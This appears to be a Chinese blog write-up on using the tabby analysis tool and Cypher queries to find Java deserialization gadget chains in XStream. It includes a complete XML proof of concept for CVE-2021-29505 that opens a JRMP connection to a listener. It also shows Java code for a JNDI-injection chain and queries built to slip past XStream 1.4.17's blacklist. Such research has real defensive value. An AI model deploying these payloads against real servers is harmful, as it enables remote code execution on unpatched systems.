XStream与tabby

文章发布时间:

最后更新时间:

写在前面

tabby熟悉便从作者的xstream挖掘cve开始

给出一个tabby查询模板

1
2
3
4
match (source:Method) // 添加where语句限制source函数
match (sink:Method {IS_SINK:true}) // 添加where语句限制sink函数
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 12) yield path // 查找具体路径,12代表深度,可以修改
return * limit 20

根据作者的一条链子,我们直接增加限制

1
2
3
4
match (source:Method {NAME:"compare"})
match (sink:Method {IS_SINK:true, NAME:"invoke"})<-[:CALL]-(m1:Method {NAME: "createValue"})
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 12) yield path
return * limit 20

image-20221117101918598

关键调用sink点的函数为sun.swing.SwingLazyValue#createValue()

image-20221117102027338

该函数可以看到可以导入一个任意类并调用其静态函数或者构造函数,其中的类名、方法名以及参数名均可控

image-20221117102237468

通过查询,下面这个类的静态函数可以直接JNDI注入

1
2
3
4
match (source:Method {IS_PUBLIC:true, IS_STATIC:true})
match (sink:Method {IS_SINK: true, NAME:"lookup"})
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIA", 8) yield path
return path limit 20

image-20221117150159330

<javax.naming.InitialContext: java.lang.Object doLookup(java.lang.String)>

image-20221117105300053

往上回溯调用链,定位javax.swing.UIDefaults#getFromHashtable()

image-20221117105424714

这里value值可以手动填充,并且可以直接构造成sun.swing.SwingLazyValue就能够执行createValue方法

image-20221117105652123

继续往上回溯javax.swing.UIDefaults#get,这里没有阻碍点

image-20221117105811425

javax.swing.MultiUIDefaults#get,这里我jdk就没有扫到了不知道为啥,先看下。这里既可以通过替换类属性tables,也可以直接替换hashtable本身的value值

image-20221117112237729

javax.swing.MultiUIDefaults#toString,这里会遍历table中的key,所以一定会触发get

image-20221117112405268

继续往上找调用了toString的链子。从头开始分析,javax.naming.ldap.Rdn$RdnEntry#compareTo,类属性调用了equals方法

1
2
3
4
match (source:Method) where source.NAME in ["compareTo"]
match (sink:Method {NAME:"toString"})<-[r:CALL]-(m1:Method) where r.REAL_CALL_TYPE in ["java.lang.Object"]
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 5) yield path
return path limit 20

image-20221117153028061

image-20221117113642917

image-20221117113806220

com.sun.org.apache.xpath.internal.objects.XString#equals()

image-20221117113937702

贴一下整个调用链

1
2
3
4
5
6
7
8
javax.naming.ldap.Rdn$RdnEntry.compareTo ??
com.sun.org.apache.xpath.internal.objects.XString.equal
javax.swing.MultiUIDefaults.toString ??
UIDefaults.get ??
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue
javax.naming.InitialContext.doLookup()

因此关键构造如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
UIDefaults uiDefaults = new UIDefaults();
Object multiUIDefaults =
ReflectionHelper.newInstance("javax.swing.MultiUIDefaults", new Object[]{new UIDefaults[]{uiDefaults}});
uiDefaults.put("lazyValue", obj);

Object rdnEntry1 = ReflectionHelper.newInstance("javax.naming.ldap.Rdn$RdnEntry", null);
ReflectionHelper.setFieldValue(rdnEntry1, "type", "ysomap");
ReflectionHelper.setFieldValue(rdnEntry1, "value", new XString("test"));

Object rdnEntry2 = ReflectionHelper.newInstance("javax.naming.ldap.Rdn$RdnEntry", null);
ReflectionHelper.setFieldValue(rdnEntry2, "type", "ysomap");
ReflectionHelper.setFieldValue(rdnEntry2, "value", multiUIDefaults);

return PayloadHelper.makeTreeSet(rdnEntry2, rdnEntry1);

基于XStream-1.4.16 CVE-2021-29505的探索

先看看CVE-2021-29505

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: none</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>2333</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>127.0.0.1</host>
<port>2333</port>
</ctx>
</candidates>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

image-20221118200924654

本质是在RegistryImpl_Stub反序列化,会先还原父类,调用`RemoteObject#readObject。其最终会有一个JRMP的连接请求产生。即source点为RemoteObject#readObject()

即简化调用链为

1
2
3
sun.rmi.registry.RegistryImpl_Stub#readObject
sun.rmi.server.UnicastRef#readExternal
# trigger rmi

XStream 1.4.17限制

  1. 黑名单正则

    image-20221119113034467

  2. 黑名单

    image-20221119113204066

  3. 黑名单继承对象

    image-20221119113227430

CVE-2021-29505的调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
javax.naming.ldap.Rdn$RdnEntry#compareTo 
com.sun.org.apache.xpath.internal.objects.XString#equal
com.sun.xml.internal.ws.api.message.Packet#toString
com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy
com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments
com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#<init>
com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#getAttachments
com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl#initializeAllAttachments
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#getCount
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress
com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#hasNext
com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator#findNextCert
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement ==拉黑==
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#findNextMatch ==拉黑==
com.sun.jndi.rmi.registry.BindingEnumeration#next
sun.rmi.registry.RegistryImpl_Stub#lookup ==拉黑==

因此,前半部分仍然是可利用的,起点即从findNextCert()开始找

image-20221119113821197

我们可以利用aliases属性延续后面链子的查找。

其中类需要满足的性质

  1. 实现了Enumeration接口
  2. 拥有nextElement()函数,并且最终能到达恶意sink函数
  3. 绕过所有的黑名单

针对source点的限制实现

1
2
3
match (source:Method {NAME:"nextElement"})
<-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class {NAME:"java.util.Enumeration"})
match (source)-[:CALL]->(m1:Method)

​ sink点,找可实现JNDI注入的

1
match (sink:Method {IS_SINK:TRUE, VUL:"JNDI"})

增加黑名单过滤

1
2
3
4
5
6
7
match (source:Method {NAME:"nextElement"})
<-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class {NAME:"java.util.Enumeration"})
match (source)-[:CALL]->(m1:Method)
match (sink:Method {IS_SINK:TRUE, VUL:"JNDI"})
call apoc.algo.allSimplePaths(sink, m1, "<CALL|ALIAS", 8) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl", "com.sun.jndi.rmi.registry.BindingEnumeration", "sun.rmi.registry.RegistryImpl_Stub", "com.sun.jndi.cosnaming.CNBindingEnumeration", "com.sun.jndi.toolkit.dir.HierMemDirCtx$FlatBindings", "com.sun.jndi.ldap.LdapReferralException"])
return source, path limit 50
参考链接
  1. https://www.freebuf.com/vuls/278188.html
  2. https://blog.0kami.cn/blog/2021/how_to_find_gadget_chains_2/
  3. https://blog.0kami.cn/blog/2021/how_to_find_gadget_chains/
  4. https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/%E6%B5%8B%E8%AF%95%E5%AF%B9%E8%B1%A1/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/web%E7%BB%84%E4%BB%B6/XStream/CVE-2021-29505/XStream-CVE-2021-29505-poc%E4%BF%AE%E6%AD%A3.html